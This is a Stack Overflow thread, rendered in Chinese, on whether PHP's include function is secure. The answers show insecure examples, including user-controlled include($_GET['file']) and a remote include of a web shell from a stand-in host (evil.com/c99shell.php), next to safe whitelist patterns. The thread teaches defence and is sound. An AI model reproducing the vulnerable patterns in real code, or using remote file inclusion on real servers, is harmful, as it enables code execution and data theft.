2012-04-13 73 views
7

我使用「include」函數(e.x.「include'header2.php'」或「include'class.users.php'」) 在我的網站中添加標題或會話類。我真的不記得在哪裏,但我聽說黑客濫用,不知何故,這種「包括」的東西,發送假包含頁面或類似的東西。 所以基本上我想知道那個「包含」功能是什麼,我如何保護它,他們如何濫用它,以及是否有更好的解決方案來滿足我的需求。PHP - 「包含」功能是否安全?

在此先感謝。

+0

如果某人有權訪問您的PHP代碼,則它們位於您的服務器中。保護已經受損的東西毫無意義。相反,請注意通過修復所有應用程序的SQL注入漏洞來關閉入口點。 – Blender 2012-04-13 21:10:41

+0

關鍵是,我聽說'包含'something.php''是不安全的或可破解的,以及SQL注入。這是真的嗎? – user1327735 2012-04-13 21:12:20

+0

如果使用不當,任何事情都可以利用。只要你包含靜態的PHP文件,你真的沒有什麼可擔心的。 – Blender 2012-04-13 22:41:31

回答

13

這一切都取決於你如何實現它。如果你專門設置路徑,那麼它是安全的。如果允許用戶輸入確定文件路徑而不進行清理或檢查,則可能發生攻擊。

不安全(目錄遍歷)

<?php 
include($_GET['file']); 
?> 

不安全URL fopen - 如果啓用)

<?php 
include('http://evil.com/c99shell.php'); 
?> 

不安全

<?php 
include('./some_dir/' . $_GET['file']); 
?> 

部分不安全(* .php文件是脆弱的)

<?php 
include('./some_dir/' . $_GET['file'] . '.php'); 
?> 

安全(雖然不知道爲什麼會有人這樣做。)

<?php 
$allowed = array(
    'somefile.php', 
    'someotherfile.php' 
); 

if (in_array(basename($_GET['file']), $allowed)) { 
    include('./includes/' . basename($_GET['file'])); 
} 
?> 

安全

<?php 
include('./includes/somefile.php'); 
?> 
+0

是[this](http://stackoverflow.com/a/599694/2302051)是否安全? – MahdiY 2017-03-31 07:38:59

1

包括是安全的只要你不:

  1. 包括像www.someoneelsesssite.com/something.php
  2. 遠程文件包括來自從客戶端來了一個路徑的文件。 www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
  3. 包含來自另一個可能受污染源(如數據庫)的文件。

2和3技術上有需要提醒的是,如果你不允許./或Windows \你可能罰款。但是,如果你不知道爲什麼,你不知道有多少風險。即使你認爲數據庫是隻讀的或其他安全的數據庫,明智的做法是不要假設,除非你真的必須這樣做,而這幾乎是永遠不會的。

正如pp19dd的回答指出的那樣。使用.php擴展名命名包含也很重要。如果你設置了apache(或者你正在使用的任何web服務器)來將另一個文件類型解析爲PHP,那也是安全的。但是,如果您不確定,請專門使用.php。

include($_GET["page"]); 

,然後調用URL:

+0

'open_basedir'創造奇蹟。 – Halcyon 2012-04-13 21:13:33

+0

@FritsvanCampen同意了,但作爲一般規則,我試圖從這樣的角度回答這些問題:任何需要提問的人都不準備冒任何風險。如果你的代碼的任何部分是'魔術',你不應該冒險。 (通過魔法,我的意思是它的工作原理基於你不明白的機制) – DampeS8N 2012-04-13 21:18:14

2

包括可以,如果你做這樣的事情會被濫用

myscript.php?page=index.php

攻擊者然後可以替代index.phphxxp://hackerz.ru/install_stuff.php和你的服務器會很樂意運行它。

include本身是完全安全的。只要確保始終驗證/逃避您的輸入。

1

要做的最好的事情是確保您嘗試包含的頁面首先存在。如果包含頁面是從某種用戶輸入(例如URL變量)處理的,則會出現真正的安全漏洞。 ?include=page.php只要你對這些都很謹慎,你應該沒問題。

if(is_file($file)) { 
    //other code, such as user verification and such should also go here 
    include $file; 
} 
else { die(); } 
+0

這不會保護你免受任何傷害。你的密碼文件是一個文件,php.ini是一個文件,攻擊者會發現所有的東西都是文件。 – DampeS8N 2012-04-13 21:20:35

+0

@ DampeS8N:我並不是想暗示這是唯一要做的事情,只是它是這個過程中的一個步驟。我還包括了關於插入其他代碼,「用戶驗證等」的評論。用戶驗證有助於確保沒有訪問「成員」敏感頁面。其他代碼可能是一個文件黑名單。我不知道當你的答案同樣模糊時,你爲什麼低估了我的答案。 – mseancole 2012-04-13 21:31:12

+0

不知道如何防範目錄遍歷攻擊的人不應該在任何條件下動態地包含文件。你的回答表明你能做的'最好'的事情是確保文件存在。相關的安全信息不是模糊的,它不存在。我並沒有低估你傷害你的能力,如果你添加了所需的信息,我將不會退縮。並刪除我的答案downvote或留下你認爲是模糊的評論。 – DampeS8N 2012-04-13 21:34:46

3

與包括最大的問題很可能是由PHP改變文件擴展名的東西,不通過網絡服務器得到自動執行。例如library.inc或config.inc。用Web瀏覽器調用這些文件將顯示代碼而不是執行它 - 並且將顯示任何密碼或可利用的提示。

比較config.php可能在其中有一個密碼config.inc。在大多數情況下,拉起config.inc將顯示數據庫密碼是什麼。

有些程序員對庫使用.inc擴展名。前提是它們不在Web服務器可訪問的目錄中。然而,安全偏執的程序員可能會將該文件轉儲到一個方便的Web目錄中。

否則,請確保您不包含以某種方式查詢字符串提交的文件。例如:include($_GET['menu_file']) < - 這是非常錯誤的。

+0

+1關於可作爲代碼包含的文件擴展名的注意事項,但在瀏覽器中單獨加載時會暴露您的代碼。 – DampeS8N 2012-04-13 21:21:54

+0

「通過Web瀏覽器調用這些文件」是什麼意思?假設你有一個公共名稱爲「example.com」的服務器。 (1)如果有人知道根目錄中有一個名爲「a.inc」的文件,他們可以用「http:// example.com/a.inc'」來查看它嗎? (2)如果他們不知道在給定目錄中存在什麼.inc文件,他們將如何發現? – Alan 2014-03-27 20:26:36

2

任何服務器端(假設你的服務器沒有受到威脅)是安全的。這樣做:

$var = $_GET['var']';  
include $var . ".php"; 

是不安全的。

include "page.php"; 

是安全的。

+0

注意:假設'page.php'是安全的。 ;) – 2012-04-13 21:15:26

+0

當然,只要引用的文件是可信和安全的。 – Blake 2012-04-13 21:17:03

-1

我正在使用這種方法OD。

<?php include (dirname(__FILE__).'/file.php'); 
+0

我希望這對你有用,但爲了更好的答案,你可以**解釋**爲什麼這個作品 – jean 2015-07-02 18:14:35